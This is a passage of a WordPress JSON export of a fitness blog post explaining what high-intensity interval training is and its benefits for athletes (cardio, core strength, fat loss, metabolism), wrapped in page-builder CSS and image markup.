{"id":4993,"date":"2016-07-13T13:26:10","date_gmt":"2016-07-13T07:56:10","guid":{"rendered":"https:\/\/spyn.co\/blog\/?p=4993"},"modified":"2018-05-01T06:19:57","modified_gmt":"2018-05-01T00:49:57","slug":"benefits-hiit-sports","status":"publish","type":"post","link":"https:\/\/spyn.co\/blog\/benefits-hiit-sports\/","title":{"rendered":"BENEFITS OF HIIT IN SPORTS."},"content":{"rendered":"\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-5e37ac9a757e751d6b4cdcc4f2d56b9c\">\n.avia-section.av-av_section-5e37ac9a757e751d6b4cdcc4f2d56b9c{\nbackground-color:#666666;\nbackground-image:url(https:\/\/spyn.co\/blog\/wp-content\/uploads\/HIIT-cover-1.jpg);\nbackground-repeat:no-repeat;\nbackground-position:50% 50%;\nbackground-attachment:scroll;\n}\n.avia-section.av-av_section-5e37ac9a757e751d6b4cdcc4f2d56b9c .av-section-color-overlay{\nopacity:0.5;\nbackground-color:#000000;\n}\n<\/style>\n<div id='banner'  class='avia-section av-av_section-5e37ac9a757e751d6b4cdcc4f2d56b9c main_color avia-section-no-padding avia-no-border-styling  avia-builder-el-0  el_before_av_section  avia-builder-el-first  avia-full-stretch avia-bg-style-scroll av-section-color-overlay-active av-minimum-height av-minimum-height-75 av-height-75  container_wrap fullsize'  data-section-bg-repeat='stretch' data-av_minimum_height_pc='75' data-av_min_height_opt='75'><div class=\"av-section-color-overlay-wrap\"><div class=\"av-section-color-overlay\"><\/div><div class='container av-section-cont-open' ><main  role=\"main\" itemprop=\"mainContentOfPage\"  class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4993'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-2bdbee901d0fef42d6a0df68ec992e89\">\n#top .av-special-heading.av-av_heading-2bdbee901d0fef42d6a0df68ec992e89{\npadding-bottom:10px;\ncolor:#ffffff;\nfont-size:50px;\n}\nbody .av-special-heading.av-av_heading-2bdbee901d0fef42d6a0df68ec992e89 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n#top #wrap_all .av-special-heading.av-av_heading-2bdbee901d0fef42d6a0df68ec992e89 .av-special-heading-tag{\nfont-size:50px;\n}\n.av-special-heading.av-av_heading-2bdbee901d0fef42d6a0df68ec992e89 .special-heading-inner-border{\nborder-color:#ffffff;\n}\n.av-special-heading.av-av_heading-2bdbee901d0fef42d6a0df68ec992e89 .av-subheading{\nfont-size:15px;\n}\n\n@media only screen and (min-width: 480px) and (max-width: 767px){ \n#top #wrap_all .av-special-heading.av-av_heading-2bdbee901d0fef42d6a0df68ec992e89 .av-special-heading-tag{\nfont-size:0.8em;\n}\n}\n\n@media only screen and (max-width: 479px){ \n#top #wrap_all .av-special-heading.av-av_heading-2bdbee901d0fef42d6a0df68ec992e89 .av-special-heading-tag{\nfont-size:0.8em;\n}\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-2bdbee901d0fef42d6a0df68ec992e89 av-special-heading-h1 custom-color-heading blockquote modern-quote modern-centered  avia-builder-el-1  el_before_av_textblock  avia-builder-el-first  av-inherit-size'><h1 class='av-special-heading-tag '  itemprop=\"headline\"  >BENEFITS OF HIIT IN SPORTS.<\/h1><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_textblock-e320de35d7015ebc39ef6cb2db0d9e7b\">\n#top .av_textblock_section.av-av_textblock-e320de35d7015ebc39ef6cb2db0d9e7b .avia_textblock{\nfont-size:18px;\ncolor:#e2e2e2;\n}\n<\/style>\n<section  class='av_textblock_section av-av_textblock-e320de35d7015ebc39ef6cb2db0d9e7b '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock av_inherit_color'  itemprop=\"text\" ><p style=\"text-align: center\">Alternate form of Cardio which helps you get better at sports!<\/p>\n<\/div><\/section>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_hr-0688d0b0b6ed2f8b057db7a8270206df\">\n#top .hr.hr-invisible.av-av_hr-0688d0b0b6ed2f8b057db7a8270206df{\nheight:50px;\n}\n<\/style>\n<div  class='hr av-av_hr-0688d0b0b6ed2f8b057db7a8270206df hr-invisible  avia-builder-el-3  el_after_av_textblock  el_before_av_textblock '><span class='hr-inner '><span class=\"hr-inner-style\"><\/span><\/span><\/div>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_textblock-5621182bd2592f898ca26ee7672df748\">\n#top .av_textblock_section.av-av_textblock-5621182bd2592f898ca26ee7672df748 .avia_textblock{\nfont-size:12px;\ncolor:#e2e2e2;\n}\n<\/style>\n<section  class='av_textblock_section av-av_textblock-5621182bd2592f898ca26ee7672df748 '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock av_inherit_color'  itemprop=\"text\" ><p style=\"text-align: center\"><em>Author &#8211; Vaibhav Biradar<\/em><\/p>\n<p style=\"text-align: center\"><em>(Reading time ~ 4 mins)<\/em><\/p>\n<\/div><\/section>\n\n<\/div><\/div><\/main><!-- close content main element --><\/div><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-f500abf892d441c9642f46a79b5a9d4f\">\n.avia-section.av-av_section-f500abf892d441c9642f46a79b5a9d4f{\nbackground-color:#efefef;\nbackground-image:unset;\n}\n<\/style>\n<div id='av_section_2'  class='avia-section av-av_section-f500abf892d441c9642f46a79b5a9d4f main_color avia-section-default avia-no-border-styling  avia-builder-el-5  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4993'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-6  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-7  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><blockquote>\n<h2 style=\"color: #666666;font-size: 35px;text-align: center\">BENEFITS OF HIIT IN SPORTS.<\/h2>\n<\/blockquote>\n<\/div><\/section><br \/>\n<\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-10  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_3'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-11  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4993'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-12  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-13  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-062fd1fdc63da52db5ad07930d9ca9c1\">\n#top .av-special-heading.av-av_heading-062fd1fdc63da52db5ad07930d9ca9c1{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-062fd1fdc63da52db5ad07930d9ca9c1 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-062fd1fdc63da52db5ad07930d9ca9c1 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-062fd1fdc63da52db5ad07930d9ca9c1 av-special-heading-h3 blockquote modern-quote  avia-builder-el-14  el_before_av_image  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >What is HIIT?<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-68e6a734c529eb175e8e8c648c2e35a8\">\n.avia-image-container.av-av_image-68e6a734c529eb175e8e8c648c2e35a8 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-68e6a734c529eb175e8e8c648c2e35a8 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-68e6a734c529eb175e8e8c648c2e35a8 av-styling- av-hover-grow avia_animated_image av-animated-when-visible-95 left-to-right avia-align-center  avia-builder-el-15  el_after_av_heading  el_before_av_textblock '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-4996 avia-img-lazy-loading-not-4996 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Cover-Photo.jpg\" alt='What is HIIT?' title='What is HIIT?'  height=\"427\" width=\"640\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Cover-Photo.jpg 640w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Cover-Photo-300x200.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Cover-Photo-450x300.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Cover-Photo-128x85.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Cover-Photo-32x21.jpg 32w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p style=\"text-align: justify\"><strong>High-intensity interval training<\/strong> (HIIT) can be any training exercise that alternates between intense, fast bursts of activity for a short period and fixed periods of less-intense activity or even complete rest. The main focus of this training method is to keep your heart rate up. For example, a good starter workout is running as fast as you can for 1 minute and then walking for 2 minutes. Repeat that 3-minute interval five times for a 15-minute workout. It\u2019s simple and very effective. HIIT can be used both anaerobically (in the gym with weights) and aerobically with cardio. It can be performed on a treadmill, cycle, elliptical or outdoors, and you can even use equipment like kettle bells, sleds, battle ropes, barbells, jump ropes, or even your own body-weight.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-17  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_4'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-18  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4993'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-19  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-20  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-e108f94fa3aa3bc58ce2e3300b48cd74\">\n#top .av-special-heading.av-av_heading-e108f94fa3aa3bc58ce2e3300b48cd74{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-e108f94fa3aa3bc58ce2e3300b48cd74 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-e108f94fa3aa3bc58ce2e3300b48cd74 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-e108f94fa3aa3bc58ce2e3300b48cd74 av-special-heading-h3 blockquote modern-quote  avia-builder-el-21  el_before_av_image  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >Why HIIT is necessary? <\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-39dac9a8f55a0a6a2af8fbd8911d2226\">\n.avia-image-container.av-av_image-39dac9a8f55a0a6a2af8fbd8911d2226 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-39dac9a8f55a0a6a2af8fbd8911d2226 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-39dac9a8f55a0a6a2af8fbd8911d2226 av-styling- av-hover-grow avia_animated_image av-animated-when-visible-95 left-to-right avia-align-center  avia-builder-el-22  el_after_av_heading  el_before_av_textblock '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-5006 avia-img-lazy-loading-not-5006 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/why-HIIT-1.jpg\" alt='why HIIT' title='why HIIT'  height=\"320\" width=\"480\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/why-HIIT-1.jpg 480w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/why-HIIT-1-300x200.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/why-HIIT-1-450x300.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/why-HIIT-1-128x85.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/why-HIIT-1-32x21.jpg 32w\" sizes=\"(max-width: 480px) 100vw, 480px\" \/><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p style=\"text-align: justify\">As an athlete, you are always looking to get better at the sports you play and be fitter. When it comes to getting fitter, factors like Cardiovascular strength, improving core strength and fat loss are pivotal to better your game.<\/p>\n<ul>\n<li>Cardiovascular strength means the strength of your heart and blood vessels. Hence, it is very important for reaching and maximizing your sporting potential.<\/li>\n<li>Good core strength helps in having better balance, keeps the body aligned and helps to recover from injury faster.<\/li>\n<li>An athlete with low body fat percentage can perform to the best of his\/her ability. You can run faster, jump higher, improve quickness and agility with better reflexes.<\/li>\n<\/ul>\n<p style=\"text-align: justify\">Also keep in mind the fact that these factors have to be achieved while maintaining optimum muscle mass, as it brings power to your game.<\/p>\n<p style=\"text-align: justify\">Having bad cardiovascular endurance can lead to exhaustion, fatigue and even injuries.<\/p>\n<p style=\"text-align: justify\">Cardio helps to achieve cardiovascular strengthening, fat loss as well as improve core strength. Now, cardio can lead to muscle loss. Also, the regular cardio sessions can be repetitive, long and many times boring. The alternative to this HIIT. It helps improving cardiovascular strengthening, fat loss and core strength while maintaining the muscle mass, and not taking a lot of time.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-24  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div><\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_5'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-25  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4993'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-26  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-27  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-dad659abe69df69fe4bee5c580a91932\">\n#top .av-special-heading.av-av_heading-dad659abe69df69fe4bee5c580a91932{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-dad659abe69df69fe4bee5c580a91932 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-dad659abe69df69fe4bee5c580a91932 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-dad659abe69df69fe4bee5c580a91932 av-special-heading-h3 blockquote modern-quote  avia-builder-el-28  el_before_av_textblock  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >Why HIIT is so effective and what are its benefits?<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p style=\"text-align: justify\">HIIT training session increases the bodies need for oxygen while training\u00a0and creates an oxygen shortage, causing your body to ask for more oxygen for recovery. This excess oxygen leads to an after-burn effect is referred to as\u00a0Excess Post-Exercise Oxygen Consumption (EPOC)\u00a0and is the reason why intense exercise will help burn more fat and calories than regular aerobic and steady-state workouts.<\/p>\n<p style=\"text-align: justify\">The benefits of HIIT are: &#8211;<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-30  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n<\/p>\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_6'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-31  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4993'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-32  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-33  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-a295c775569ebccdb74723e1b38d415b\">\n#top .av-special-heading.av-av_heading-a295c775569ebccdb74723e1b38d415b{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-a295c775569ebccdb74723e1b38d415b .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-a295c775569ebccdb74723e1b38d415b .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-a295c775569ebccdb74723e1b38d415b av-special-heading-h3 blockquote modern-quote  avia-builder-el-34  el_before_av_image  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  > Increased Metabolism and Stamina.<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-844d290d63584df95f5c3d06cbce994d\">\n.avia-image-container.av-av_image-844d290d63584df95f5c3d06cbce994d img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-844d290d63584df95f5c3d06cbce994d .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-844d290d63584df95f5c3d06cbce994d av-styling- av-hover-grow avia_animated_image av-animated-when-visible-95 left-to-right avia-align-center  avia-builder-el-35  el_after_av_heading  el_before_av_textblock '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-5003 avia-img-lazy-loading-not-5003 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Increased-Stamina-Metabolism-1.jpg\" alt='HIIT: Increased Stamina Metabolism' title='Increased Stamina Metabolism'  height=\"345\" width=\"520\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Increased-Stamina-Metabolism-1.jpg 520w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Increased-Stamina-Metabolism-1-300x199.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Increased-Stamina-Metabolism-1-450x299.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Increased-Stamina-Metabolism-1-128x85.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Increased-Stamina-Metabolism-1-32x21.jpg 32w\" sizes=\"(max-width: 520px) 100vw, 520px\" \/><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p style=\"text-align: justify\">Due to the excess oxygen consumed for recovery, it increases your metabolism after the training session. The increased metabolism results in fat burn even after the work out has ended. All the high intensity activity also results in increased stamina.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-37  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div><\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_7'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-38  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4993'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-39  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  